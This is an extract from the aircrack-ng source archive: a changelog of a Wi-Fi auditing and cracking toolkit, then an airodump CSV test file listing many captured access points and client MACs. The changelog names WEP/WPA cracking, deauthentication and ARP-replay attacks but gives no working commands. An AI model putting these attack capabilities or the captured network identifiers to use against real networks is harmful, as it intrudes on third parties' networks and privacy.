buffer size (-g option) * airodump-ng: Log by default only one beacon (added option to log all beacons) * airodump-ng: Dump prefix isn't mandatory anymore, not giving it won't store any data * airmon-ng: Ralink devices needs be put in ad-hoc prior to inject packets * manpages: Added kstat manpage * manpages: fixed airodump-ng manpage (hyphen used as minus sign) * Makefile: You can now compile aircrack-ng with Intel C Compiler (really faster) * Updated madwifi-ng patch to r1545 (and up; can be applied on madwifi v0.9.0 and v0.9.1) * Added instructions to compile on different plateforms/OS * Added a WPA2 capture file in test directory * Some other fixes Version 0.5 (changes from aircrack-ng 0.4.4) - Released 04 May 2006: * airodump-ng: Hop on 2.4Ghz channels by default * airodump-ng: Added support for OpenWrt devices (use prism0 as capture interface) * aircrack-ng and aireplay-ng: korek chopchop optimisation (Thanks to ASPj) * airodump-ng: Fixed: when starting, it captured data on channel 10 * aircrack-ng: Fixed: Not using all CPU on SMP systems Version 0.4.4 (changes from aircrack-ng 0.4.3) - Released 24 april 2006: * aircrack-ng: fixed a stupid bug that prevent cracking * sha1-mmx.S: GNU_STACK ELF marking * updated patch for madwifi-ng r1526 and upper Version 0.4.3 (changes from aircrack-ng 0.4.2) - Released 24 april 2006: * airmon-ng: fixed madwifi-ng (VAP creation-destruction and a cosmetic fix) * aircrack-ng: fixed compilation under OSX * airodump-ng: added elapsed time * Makefile : added a MacOSX makefile (Makefile.osx) * updated patch for madwifi-ng r1520 and upper Version 0.4.2 (changes from aircrack-ng 0.4.1) - Released 20 april 2006: * airodump-ng: Fixed: dumpfile prefix took the name of the second argument * airodump-ng: Fixed: .gps file creation if GPSd isn't used * version.c removed (the content was moved to common.c) Version 0.4.1 (changes from aircrack-ng 0.4) - Released 19 april 2006: * airodump-ng: use of parameters like aircrack-ng, aireplay-ng, ... * airodump-ng: more sanity checks * airodump-ng & aireplay-ng: forbid the use of ndiswrapper * airodump-ng & aireplay-ng: check of iwpriv existence * manpages: updated and fixed typos * Makefile: fixed "make doc" * airmon-ng: fixed and improved madwifi detection Version 0.4 (changes from aircrack-ng 0.3) - Released 16 april 2006: * Typos fixed and cosmetic changes in sources and in manpages * manpages: updated airodump-ng screenshot * manpages and aireplay-ng: renamed attack names * airodump-ng: fixed some compile warnings * airodump-ng: hopping also on .11a channels if available * airodump-ng: fixed: GPS coordinates were never shown * airmon-ng: fixed ipw2100 (Thx to OverThere) and madwifi-ng detection * aircrack-ng: speed optimizations * aircrack-ng: -x option disable last 2 keybytes bruteforce (WEP cracking is faster) * aircrack-ng: with -a option, you can use "wep" or "wpa" instead of numbers * ivstools: --merge option fixed * Makefiles: improvements * Lots of little changes * added aircrack-ng.spec for building RPM * added slack-desc for building slackware packages Version 0.3 (changes from aircrack-ng 0.2.1) - Released 30 march 2006: * aireplay-ng: typo fixed * aireplay-ng: Madwifi-ng is now supported * airodump-ng: disabled GPS coordinates if connection to gpsd fail * airodump-ng: Battery informations fixed (hacked kismet code) * airodump-ng: Madwifi-ng is now supported * aircrack-ng: corrrected title (when cracking a key) * aircrack-ng: uses by default all CPU for cracking (Debian bug report #352877) * manpages: Fixed some errors (Debian bug report #356551) * manpages: created ivstools manpage * Makefiles: cleaning and improvement * fixed pcap2ivs bug (it wasn't using the good MAC for bssid) * Merged mergeivs and pcap2ivs into ivstools * airmon.sh: Fixed (hopefully) detection of ipw2100 and ipw2200 (Debian bug report #340057) * airmon.sh: renamed to airmon-ng * Updated madwifi-ng patch to r1486 Version 0.2.1 (changes from aircrack-ng 0.2) - Released 20 march 2006: * corrected 2 bugs in airmon.sh and changed another little thing * one word missing for option -j in aireplay * updated madwifi-old patch to SVN r1475 * makefile cleaning * typo corrected in pcap2ivs Version 0.2 (changes from aircrack-ng 0.1) - Released 19 march 2006: * updated version number and program name * updated airmon.sh added detection of acx, madwifi-ng and bcm43xx * added manpages (Thanks to Adam Cecile) * added madwifi-ng patches * re-added missing drivers patches * added uninstall rule in makefile * added Sharp Zaurus binaries (Thanks to Rick Farina aka Zero_Chaos) * added a cygwin makefile Version 0.1 (changes from aircrack 2.41) * updated windows binaries * compiled some files for windows * Separated in multiple packages ---------------------------------------------------------------------------------------------- Older Changelog: Version 2.41 released on 2005-11-22. Changes from version 2.4: * airodump: show probing clients as "not associated" * airodump: don't substract the noise level unless madwifi * airodump: fixed channel hopping with old orinoco * airmon.sh: added detection of the zd1211 driver Version 2.4 released on 2005-11-12. Changes from version 2.3: * airodump: display ESSIDs from Probe Requests * airodump: don't overwrite existing capture files * airodump: create a logfile of the gps coordinates * airodump: every 20s, sort the detected APs by power * airodump: display the remaining battery capacity * airodump: use ioctl() instead of calling iwconfig * airodump: added support for radiotap headers * aireplay: added option -j (FromDS packet injection) * aireplay: added prismheader support for rt2500 / rt2570 * aireplay: fixed attack -0 when injecting on ralink usb * aireplay: fixed attack -3 (ring buffer / deauth problem) * aircrack: don't bruteforce the last 2 keybytes by default * aircrack: changed the fudge factor type to float * aircrack: added option -t (restrict keyspace to BCD) * aircrack: fixed the check_wep_key false positive bug * aircrack: fixed overflow of the number of tested keys * aircrack: lower number of required IVs if -d is used * mergeivs and pcap2ivs: initial release Version 2.3 released on 2005-08-28. Changes from version 2.23: * aireplay: added patch for injection on Ralink USB * aireplay: improved deauthentication attack (-c flag) * aireplay: don't enable the prism header on athXraw * airodump: fixed rare hanging problem in dump_write_csv * airodump: workaround for ipw2200 wep data corruption bug * airodump: tweaked dump_print to make more space for ESSID * aircrack: added support for 152-bit WEP cracking * updated the documentation and merged versioning patch Version 2.23 released on 2005-08-17. Changes from version 2.22: * aireplay: updated the madwifi patch, fixes WEP/WPA support * airodump: fixed a few buffer overflows, code cleanup for gcc4 * aircrack: also printf the WEP key if >= 75% ASCII caracters Version 2.22 released on 2005-08-14. Changes from version 2.21: * aireplay: now compatible with madwifi CVS 2005-08-14 * airodump: fixed the output power with newer madwifi Version 2.21 released on 2005-08-09. Changes from version 2.2: * airodump: forcefully exit when user presses Ctrl-C * airodump: bugfixed (yet again) ESSID uncloacking * airodump: re-create the ivs file if no header present * aircrack: changed the default fudge factor back to 2 * airdecap: fixed the incorrect output pcap header length Version 2.2 released on 2005-08-03. Changes from version 2.2-beta12: * aireplay: (attack 1) added G rates in the association request * fixed the Makefile for compilation on FreeBSD / Mac OS X Version 2.2-beta12 released on 2005-07-30. Changes from version 2.2-beta11: * aireplay: bugfixed the madwifi patch, switched to 20050707 * aireplay: avoid triggering "protocol XX00 is buggy" messages * airodump: don't reset the card when hopping between channels * airodump: ipw2200 didn't like calling "iwpriv ethX monitor 1" * airodump: added support for airodump on WRT54G / OpenWRT * airodump: commit the .txt statistics file every 20 seconds * aircrack: increased the default fudge factor (3 for WEP-104) Version 2.2-beta11 released on 2005-07-27. Changes from version 2.2-beta10: * aireplay: updated the madwifi patch to inject in b/g mode * aireplay: fixed attack 2 (it wrongly swapped the smac & dmac) * aircrack: (cygwin) added O_BINARY flag to force binary mode Version 2.2-beta10 released on 2005-07-23. Changes from version 2.2-beta9: * aireplay: fixed the status line not showing in attack -3 * aireplay: updated the madwifi and hostap injection patches * aireplay: added patches for injection on rt2500 and rtl8180 * aircrack: added detection of 802.1d in check_wep_key * airodump: restore prismheader link level info w/ hostap * airodump: create the output file if there's no pcap header * airdecap: added flag -l to disable ethernet conversion * updated the win32 port and rewrote the documentation Version 2.2-beta9 released on 2005-07-21. Changes from version 2.2-beta8: * aireplay: fixed the invalid rtc file descriptor bug * aircrack: actually fixed the prism header endianness bug Version 2.2-beta8 released on 2005-07-21. Changes from version 2.2-beta7: * aireplay: specify the deauth count instead of delay * aircrack: fixed an endianness issue with the prism header * aircrack: added the experimental single bruteforce attack * airodump: do enable the prismheader with wlan-ng * airodump: WEP/WPA: show the number of data packets * airodump: show total number of captured beacon packets * airodump: orinoco: fixed "iwpriv ethX monitor 1" command * airdecap: fixed an endianness issue with the packet length * airdecap: skip already processed duplicate packets Version 2.2-beta7 released on 2005-07-14. Changes from version 2.2-beta6: * airodump: don't enable the prismheader with wlan-ng * aircrack: fixed check_wepkey() to avoid false positives * completed the preliminary win32 port Version 2.2-beta6 released on 2005-07-12. Changes from version 2.2-beta5: * aireplay: fixed injection of fromds packets on Prism2 * aireplay: attack 0: target access point must be specified * aireplay: attack 1: allow the user to change reauth delay * aircrack: fixed race condition when realloc() ap->ivbuf * airodump: fixed endianness issue when parsing prism header Version 2.2-beta5 released on 2005-07-10. Changes from version 2.2-beta4: * aireplay: added patch for single-nic injection on hostap * aireplay: fixed chopchop attack in non-authenticated mode * aireplay: don't flood the AP with authentication requests * aircrack: bruteforce the last two keybytes by default * aircrack: improved handling of partial WPA handshakes * aircrack, airdecap: added WPA2 (RSN / 802.11i) support Version 2.2-beta4 released on 2005-07-03. Changes from version 2.2-beta3: * aircrack: new option to restrict WEP search space to ascii * aircrack: fixed concurrency bug with multiple .cap files * aircrack: fixed incorrect detection of WPA CCMP handshakes * aircrack: fixed incorrect handling of HMAC-SHA1 WPA MIC * aireplay: fixed deauth problem when chopchoping a packet * aireplay: added a workaround for error "Write buffer full" * airodump: added support for prism header on prism54 * airodump: save the list of detected wireless clients * airunwep: renamed to airdecap, added WPA decryption support Version 2.2-beta3 released on 2005-06-28. Changes from version 2.2-beta2: * aircrack: fixed the tracking of new IVs * aireplay: fixed the CPU usage bug in attack 3 * when reading pcap files, check the packet length Version 2.2-beta2 released on 2005-06-27. Changes from version 2.2-beta1: * aireplay: added fully automated ARP replay attack * aireplay: added automated deauthentication attack * aireplay: added fake authentication in Monitor mode * aircrack: various pthread enhancements & bugfixes Version 2.2-beta1 released on 2005-06-22. Changes from version 2.1: * aircrack: now auto-updates if new IVs are available * aircrack: fixed #285441 (struct pcap_pkthdr on AMD64) * aircrack: fixed the pcap endianness problem * aircrack: added essid filtering option and quiet mode * aircrack: only print status info every 1/20th second * aircrack: added WPA-PSK cracking support from cowpatty * aircrack: added EAPOL frame type detection and display * aircrack: each korek attack can be disabled selectively * airodump: added 802.11 b/g (2.4 GHz) channel hopping * airodump: added a file format for logging only the IVs * airodump: CRC is properly removed if driver is madwifi * airodump: input packets can be read from a pcap file * airodump: bugfixed WPA detection and ESSID uncloaking * airodump: also display a list of detected stations * aireplay: implemented chopchop and arp-forgery * aireplay: added patches for single-nic injection * 802ether: bugfixed and renamed to airunwep Version 2.1 released on 2004-10-01. Changes from version 2.0.2: * added 11g and WPA detection support in airodump * aircrack automatically avoids using WPA IVs * aircrack can break 256-bit and 512-bit WEP keys * win32 - fixed yet again the "missed IVs" bug * win32 - ported the 802ether WEP decryptor program Version 2.0.2 released on 2004-09-24. Changes from version 2.0.1: * win32 - added the WZCOOK key recovery program * fixed a bug in the BSSID iteration code in airodump * completely rewrote the documentation, moved to /docs Version 2.0.1 released on 2004-09-21. Changes from version 2.0: * win32 - fixed the channel reset bug * win32 - fixed the "missed IVs" bug * win32 - rewrote drivers.txt Version 2.0 released on 2004-09-03. Changes from version 1.4: * native win32 port of airodump and aircrack * aireplay better spots potential arp-requests Version 1.4 released on 2004-08-26. Changes from version 1.3: * fixed check_wepkey, works with exotic LLC headers * airodump prints lots of information, Kismet-style Version 1.3 released on 2004-08-19. Changes from version 1.2: * bugfixed and improved KoreK's code * renamed airunwep to 802ether Version 1.2 released on 2004-08-17. Changes from version 1.1: * implemented KoreK's advanced WEP attacks * completely rewrote the SMP engine Version 1.1 released on 2004-08-11. Changes from version 1.0: * implemented WEP arp-requests replay attack * improved the fudge calculation algorithm * added multi-processor support Version 1.0 released on 2004-07-29 aircrack-ng-1.1/scripts/0000755000000000000000000000000011364675642013737 5ustar rootrootaircrack-ng-1.1/scripts/airgraph-ng/0000755000000000000000000000000011364675642016136 5ustar rootrootaircrack-ng-1.1/scripts/airgraph-ng/test/0000755000000000000000000000000011364675642017115 5ustar rootrootaircrack-ng-1.1/scripts/airgraph-ng/test/test-1.txt0000644000000000000000000010410711144205432020754 0ustar rootroot BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 00:02:2D:8E:F9:FB, 2008-11-02 22:40:42, 2008-11-05 01:43:08, 1, 11, WEP OPN , WEP, , 20, 6162, 56513, 0. 0. 0. 0, 1, , 02:1D:7E:47:F6:B3, 2008-11-02 22:40:41, 2008-11-05 01:43:07, 11, 54, WPA2, CCMP,PSK, 18, 49659, 0, 0. 0. 0. 0, 5, kwifi, 00:1F:33:B3:E3:3E, 2008-11-02 22:41:17, 2008-11-05 01:42:59, 1, 54, WEP , WEP, , 17, 41660, 24, 0. 0. 0. 0, 13, Snow Network, 00:12:17:DA:62:B7, 2008-11-02 22:41:18, 2008-11-05 01:43:53, 8, 54, WEP , WEP, , 15, 36032, 2, 0. 0. 0. 0, 10, YaggaWagga, 00:13:46:08:87:0E, 2008-11-02 22:41:43, 2008-11-05 01:43:42, 6, 54, WPA , TKIP,PSK, 14, 23404, 366, 0. 0. 0. 0, 6, kevinh, 00:16:B6:39:B6:ED, 2008-11-02 22:40:42, 2008-11-05 01:43:55, 6, 54, WPA2, CCMP,PSK, 14, 20268, 72, 0. 0. 0. 0, 7, giggity, 00:0C:41:49:67:9F, 2008-11-02 22:41:56, 2008-11-05 01:43:16, 11, 11, OPN , , , 12, 287, 0, 0. 0. 0. 0, 8, wireless, 00:14:BF:A3:09:8B, 2008-11-02 22:41:17, 2008-11-05 01:42:33, 6, 54, WEP , WEP, OPN, 13, 22053, 183, 0. 0. 0. 0, 6, kelley, 00:1E:58:00:FF:5E, 2008-11-02 22:41:29, 2008-11-05 01:41:03, 5, 54, OPN , , , 16, 6921, 15, 192.168. 0. 1, 8, AmyDLink, 00:1C:10:A8:20:6F, 2008-11-02 22:41:17, 2008-11-05 01:37:40, 6, 54, WEP , WEP, , 12, 723, 829, 0. 0. 0. 0, 13, geyerinternet, 00:1D:7E:16:17:F4, 2008-11-02 22:42:35, 2008-11-05 01:11:49, 6, 54, WEP , WEP, OPN, 11, 1320, 42, 0. 0. 0. 0, 7, linksys, 00:15:E9:16:01:30, 2008-11-02 22:41:30, 2008-11-05 01:01:07, 6, 54, WEP , WEP, OPN, 14, 14576, 3747, 0. 0. 0. 0, 14, Nicole's mommy, 02:7A:75:47:0E:87, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 11, 54, OPN , , , -1, 5, 0, 0. 0. 0. 0, 19, print server 07DA43, 02:1C:BF:01:AB:84, 2008-11-04 22:04:10, 2008-11-04 23:11:44, 1, 54, OPN , , , -1, 486, 21, 192.168. 1.100, 16, Free Public WiFi, 02:2A:C5:BD:0D:44, 2008-11-04 23:01:00, 2008-11-04 23:01:04, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 02:B0:38:5F:0E:51, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 11, 11, OPN , , , -1, 43, 0, 0. 0. 0. 0, 19, print server 1B7145, 00:1E:E5:73:44:DC, 2008-11-03 21:59:33, 2008-11-04 21:36:31, 11, -1, OPN , , , -1, 0, 10, 0. 0. 0. 0, 0, , 00:0D:0B:2B:22:AD, 2008-11-03 01:00:41, 2008-11-04 20:52:29, 5, 54, WEP , WEP, , 14, 504, 14, 0. 0. 0. 0, 7, hsutree, 9E:00:D4:01:DD:02, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 6, 1, WEP , WEP, , -1, 4, 2, 0. 0. 0. 0, 8, SST-PR-1, 00:12:17:1E:45:F2, 2008-11-03 01:02:41, 2008-11-04 19:05:12, 3, 54, WPA2, TKIP,PSK, 12, 29, 0, 0. 0. 0. 0, 8, HOMENET3, 00:14:BF:00:FC:1D, 2008-11-04 17:13:41, 2008-11-04 17:13:41, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 82:03:45:03:42:03, 2008-11-04 16:35:35, 2008-11-04 16:35:44, 6, 1, WEP , WEP, , -1, 7, 3, 0. 0. 0. 0, 8, SST-PR-1, 00:10:18:F1:F2:F3, 2008-11-03 23:48:48, 2008-11-04 00:06:29, 1, 11, OPN , , , 21, 5, 0, 0. 0. 0. 0, 14, BRCM_TEST_SSID, F6:C9:1B:AA:54:31, 2008-11-03 23:37:01, 2008-11-03 23:37:05, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 00:60:B3:2F:A2:F8, 2008-11-03 21:24:41, 2008-11-03 22:05:57, 1, 11, WPA , CCMP,PSK, 24, 11, 0, 0. 0. 0. 0, 10, ATROAD7800, 4E:ED:40:53:FE:97, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 10, 11, OPN , , , -1, 28, 0, 0. 0. 0. 0, 7, hpsetup, 00:1E:52:F5:3E:D5, 2008-11-03 15:14:05, 2008-11-03 17:34:21, 11, -1, OPN , , , -1, 0, 1, 0. 0. 0. 0, 0, , 22:25:0C:29:67:48, 2008-11-03 11:08:42, 2008-11-03 11:08:43, 6, 54, OPN , , , -1, 3, 0, 0. 0. 0. 0, 7, hpsetup, 02:D5:01:C8:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 11, 11, OPN , , , -1, 2, 0, 0. 0. 0. 0, 7, MH07058, 72:03:92:02:08:02, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 6, 1, WEP , WEP, , -1, 9, 1, 0. 0. 0. 0, 8, SST-PR-1, 12:02:DC:02:10:00, 2008-11-03 20:22:03, 2008-11-03 20:22:12, 6, 11, WEP , WEP, , -1, 11, 0, 0. 0. 0. 0, 8, SST-PR-1, 02:00:BD:65:24:DD, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 10, 11, OPN , , , -1, 2, 75, 192.168. 1.112, 7, hpsetup, 00:1D:7E:40:D7:4F, 2008-11-03 03:59:59, 2008-11-04 01:48:48, 6, -1, OPN , , , -1, 0, 16, 192.168. 1.107, 0, , E2:E7:EB:07:43:81, 2008-11-04 02:46:52, 2008-11-04 02:46:56, 6, 11, OPN , , , -1, 14, 0, 0. 0. 0. 0, 7, hpsetup, 00:1A:70:F5:FE:9E, 2008-11-03 01:56:29, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:00:00:00:00:00, 2008-11-04 17:10:01, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:60:B3:2E:59:0F, 2008-11-03 20:49:07, 2008-11-04 18:34:48, 11, 11, WEP , WEP, , 27, 20, 0, 0. 0. 0. 0, 0, , 00:1E:E5:FE:65:C2, 2008-11-03 00:31:59, 2008-11-04 19:18:49, 11, 54, WPA2, CCMP,PSK, 13, 15, 2, 0. 0. 0. 0, 5, XtYr3, 00:1C:F0:6B:90:66, 2008-11-03 03:22:33, 2008-11-04 19:30:06, 11, 54, WEP , WEP, , 11, 5, 3, 0. 0. 0. 0, 5, sarah, 02:13:CE:00:AD:8D, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 11, 54, OPN , , , -1, 2, 0, 0. 0. 0. 0, 8, AOL WiFi, CE:B4:1E:CC:3B:7C, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 10, 11, OPN , , , -1, 197, 0, 0. 0. 0. 0, 7, hpsetup, 00:18:F8:42:7A:93, 2008-11-02 22:43:17, 2008-11-04 22:13:29, 6, 54, WPA , TKIP,PSK, 12, 1021, 0, 0. 0. 0. 0, 17, linksys_SES_41527, 00:0C:41:B0:6D:1A, 2008-11-03 11:40:27, 2008-11-04 22:30:09, 6, 11, OPN , , , 16, 1, 67, 192.168. 1.108, 7, linksys, 00:13:10:88:84:5B, 2008-11-02 23:30:23, 2008-11-04 23:06:45, 6, -1, WEP , WEP, , -1, 0, 4, 0. 0. 0. 0, 0, , 00:13:46:EE:9E:93, 2008-11-03 02:07:32, 2008-11-04 23:35:29, 11, 54, WPA2, CCMP,PSK, 11, 12, 0, 0. 0. 0. 0, 0, , 00:1E:2A:50:4F:18, 2008-11-02 23:29:22, 2008-11-04 23:42:40, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:17:9A:29:20:62, 2008-11-02 23:22:24, 2008-11-05 00:04:51, 11, 54, OPN , , , 11, 2127, 618, 192.168. 0.101, 7, Shapfam, 00:1E:E5:46:F4:4F, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 11, -1, WPA , , , -1, 0, 333, 0. 0. 0. 0, 0, , 00:18:39:53:B3:CB, 2008-11-04 15:30:49, 2008-11-05 01:25:29, 6, 54, WEP , WEP, , 12, 7, 0, 0. 0. 0. 0, 6, eencee, 00:1F:33:31:5E:D0, 2008-11-02 22:43:30, 2008-11-05 01:38:57, 11, 54, WEP , WEP, , 12, 6575, 8, 0. 0. 0. 0, 3, Tom, 00:13:10:A9:FA:DA, 2008-11-02 22:40:43, 2008-11-05 01:39:32, 6, 54, WPA , TKIP,PSK, 16, 36851, 94, 0. 0. 0. 0, 2, HM, 00:11:95:55:5A:AB, 2008-11-02 22:42:43, 2008-11-05 01:43:42, 6, 54, WEP , WEP, , 13, 3854, 40, 0. 0. 0. 0, 4, NETZ, 00:1D:7E:EF:4E:6F, 2008-11-02 22:41:42, 2008-11-05 01:42:07, 11, 54, WEP , WEP, , 13, 4, 26, 0. 0. 0. 0, 5, Molly, 00:13:10:E3:26:2F, 2008-11-03 00:28:58, 2008-11-05 01:42:07, 6, 54, OPN , , , 13, 69, 116, 192.168. 1.105, 5, Oasis, 00:0F:66:40:41:2A, 2008-11-02 22:41:25, 2008-11-05 01:43:55, 6, 11, OPN , , , 14, 3019, 1, 0. 0. 0. 0, 7, linksys, 00:13:10:B6:B2:AF, 2008-11-02 22:51:07, 2008-11-05 01:43:29, 6, 54, WEP , WEP, OPN, 12, 730, 13, 0. 0. 0. 0, 12, DoggyWorld27, 00:18:39:58:3D:0A, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 13, 39314, 256, 0. 0. 0. 0, 7, vanessa, 00:13:10:E3:BF:C5, 2008-11-02 22:46:09, 2008-11-05 01:43:58, 4, 54, OPN , , , 14, 37056, 1340, 192.168. 0.104, 8, home-net, 00:1B:2F:E8:8D:1A, 2008-11-02 22:40:41, 2008-11-05 01:43:33, 11, 54, WEP , WEP, , 14, 58620, 120, 0. 0. 0. 0, 5, atown, 00:19:5B:4C:9D:CB, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 14, 10302, 346, 0. 0. 0. 0, 5, HLnet, 00:16:B6:E3:C3:7F, 2008-11-02 22:41:12, 2008-11-05 01:43:51, 6, 54, OPN , , , 16, 23648, 228, 192.168. 1.133, 7, linksys, 00:09:5B:D8:B7:D0, 2008-11-02 22:41:34, 2008-11-05 01:43:55, 11, 54, OPN , , , 15, 16630, 124, 192.168. 0. 4, 7, Nedgear, 00:1E:E5:6A:67:72, 2008-11-02 22:41:17, 2008-11-05 01:43:55, 6, 54, WPA2WPA , CCMP TKIP,PSK, 18, 44437, 318, 0. 0. 0. 0, 6, ndiane, 00:0F:66:2D:A8:21, 2008-11-02 22:40:41, 2008-11-05 01:43:51, 11, 54, WEP , WEP, OPN, 15, 36123, 152, 0. 0. 0. 0, 6, printz, 00:1B:2F:01:47:02, 2008-11-02 22:42:22, 2008-11-05 01:43:29, 6, 54, WEP , WEP, , 16, 1886, 4, 0. 0. 0. 0, 15, KD Wireless Net, 00:0C:41:BC:B8:D9, 2008-11-02 22:40:44, 2008-11-05 01:43:57, 8, 11, WEP , WEP, , 20, 54896, 1751, 0. 0. 0. 0, 8, HOMENET2, 00:1D:7E:47:F6:B2, 2008-11-02 22:40:41, 2008-11-05 01:43:42, 11, 54, OPN , , , 17, 50987, 11890, 192.168. 1.130, 5, Gizmo, 00:18:F8:1A:DA:A5, 2008-11-02 22:40:24, 2008-11-05 01:43:56, 6, 54, WEP , WEP, OPN, 19, 79812, 39777, 0. 0. 0. 0, 6, Saloka, 00:1A:70:D1:E9:D6, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 15, 17210, 261, 0. 0. 0. 0, 5, YaAli, 00:12:17:3A:B9:78, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA2, CCMP TKIP,PSK, 19, 34947, 855, 0. 0. 0. 0, 7, HOMENET, 00:17:3F:3A:F0:7E, 2008-11-02 22:40:40, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 16, 41698, 3339, 0. 0. 0. 0, 6, Finack, 00:0F:66:2C:A6:5B, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 5, 54, WPA2, CCMP TKIP,PSK, 21, 45279, 4005, 0. 0. 0. 0, 9, Avalanche, 00:1C:B3:AE:16:6E, 2008-11-02 22:41:14, 2008-11-05 01:43:54, 3, 54, WPA2WPA , CCMP TKIP,PSK, 21, 49404, 191, 0. 0. 0. 0, 4, POCO, 00:09:5B:6A:C6:30, 2008-11-02 22:41:12, 2008-11-05 01:43:55, 11, 54, WEP , WEP, OPN, 17, 66914, 645, 0. 0. 0. 0, 8, fischel , 00:0F:66:6A:3A:C0, 2008-11-02 22:40:42, 2008-11-05 01:43:57, 6, 54, WEP , WEP, , 17, 59466, 1010, 0. 0. 0. 0, 9, godfather, 00:0F:66:8E:F3:E8, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 6, 54, WEP , WEP, , 19, 54240, 23, 0. 0. 0. 0, 5, Crush, 00:21:29:67:AC:4A, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 11, 54, WPA , TKIP,PSK, 25, 92479, 3908, 0. 0. 0. 0, 11, SRG_Network, 00:13:10:C9:DC:C0, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 6, 54, WPA , TKIP,PSK, 25, 87194, 286, 0. 0. 0. 0, 4, jita, 00:13:10:C6:5D:A4, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 1, 54, WPA , TKIP,PSK, 22, 63547, 804, 0. 0. 0. 0, 7, Morf-Ra, 00:13:10:73:8F:DE, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 10, 54, WEP , WEP40 WEP,SKA, 23, 116563, 347, 0. 0. 0. 0, 9, RBGcolors, 00:09:5B:ED:2A:30, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 11, 54, WEP , WEP,SKA, 28, 153716, 57, 0. 0. 0. 0, 7, NETGEAR, 00:17:9A:48:1B:17, 2008-11-02 22:39:17, 2008-11-05 01:43:57, 7, 54, OPN , , , 27, 72702, 542, 192.168. 0. 1, 10, Fenerbahce, 00:1C:DF:39:B4:13, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 1, 54, WPA , TKIP,PSK, 31, 127269, 5881, 0. 0. 0. 0, 8, Legal EZ, 00:1C:10:A8:72:41, 2008-11-02 22:39:03, 2008-11-05 01:43:58, 6, 54, WEP , WEP, , 33, 189655, 2633, 0. 0. 0. 0, 11, willinho123, 00:1E:52:7A:C4:F8, 2008-11-02 22:39:19, 2008-11-05 01:43:58, 9, 54, WPA2WPA , CCMP TKIP,PSK, 41, 226084, 4738, 0. 0. 0. 0, 12, Base Station, 00:1E:58:EE:94:DF, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 5, 54, WPA2, CCMP TKIP,PSK, 33, 212184, 18149, 0. 0. 0. 0, 5, David, 00:18:39:3E:C5:5D, 2008-11-02 22:39:11, 2008-11-05 01:43:58, 11, 54, OPN , , , 29, 225225, 8876, 192.168. 1.104, 6, Fundip, 00:10:DB:A0:D6:A1, 2008-11-02 22:38:59, 2008-11-05 01:43:58, 1, 54, WPA , CCMP,PSK, 67, 220549, 4513, 0. 0. 0. 0, 15, NS-5GT-Wireless, Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 00:19:7E:9A:66:96, 2008-11-02 22:44:11, 2008-11-05 01:42:36, 21, 1918, 00:1E:58:00:FF:5E, amydlink,AmyDLink 00:90:4B:CB:95:B1, 2008-11-02 22:42:59, 2008-11-05 01:42:33, 20, 2273, 00:14:BF:00:FC:1D, printz,linksys_SES_14585,Awireless,linksys_SES_32319 00:17:AB:43:6D:29, 2008-11-02 23:05:16, 2008-11-05 01:42:28, 20, 232, 00:1D:7E:47:F6:B2, Gizmo 00:19:7E:94:95:05, 2008-11-02 22:56:34, 2008-11-05 01:43:42, 20, 2734, 00:12:17:3A:B9:78, HOMENET 00:1F:3A:94:F3:9E, 2008-11-04 13:54:54, 2008-11-05 01:41:47, 15, 381, 00:13:10:E3:26:2F, NOVA_2,Oasis 00:11:D9:00:9F:1D, 2008-11-02 23:01:43, 2008-11-05 01:38:30, 16, 399, 00:1C:B3:AE:16:6E, POCO 00:1B:2F:37:B1:EC, 2008-11-03 23:32:15, 2008-11-05 01:43:42, 10, 246, 00:1D:7E:47:F6:B2, Gizmo 00:0E:A6:F1:55:B2, 2008-11-02 22:45:08, 2008-11-05 01:30:25, 16, 1625, 00:1D:7E:47:F6:B2, home-net,doneNetPRIV,Gizmo 00:23:12:92:96:3A, 2008-11-05 00:58:37, 2008-11-05 01:15:55, 16, 7, (not associated) , 00:90:96:B1:AB:F3, 2008-11-03 01:24:39, 2008-11-05 01:15:02, 20, 240, 00:13:10:73:8F:DE, RBGcolors 00:23:12:84:88:6E, 2008-11-05 01:01:20, 2008-11-05 01:09:01, 32, 12, (not associated) , 00:90:96:F0:32:26, 2008-11-03 00:15:00, 2008-11-05 01:07:43, 18, 153, 00:1D:7E:40:D7:4F, linksys 00:18:F3:3D:B8:9E, 2008-11-05 00:57:57, 2008-11-05 00:57:57, 13, 1, (not associated) , linksys 00:14:A5:A1:FC:97, 2008-11-02 23:03:32, 2008-11-05 00:57:45, 13, 10, (not associated) , 007 00:1C:B3:C1:07:07, 2008-11-03 01:23:40, 2008-11-05 00:49:11, 21, 301, 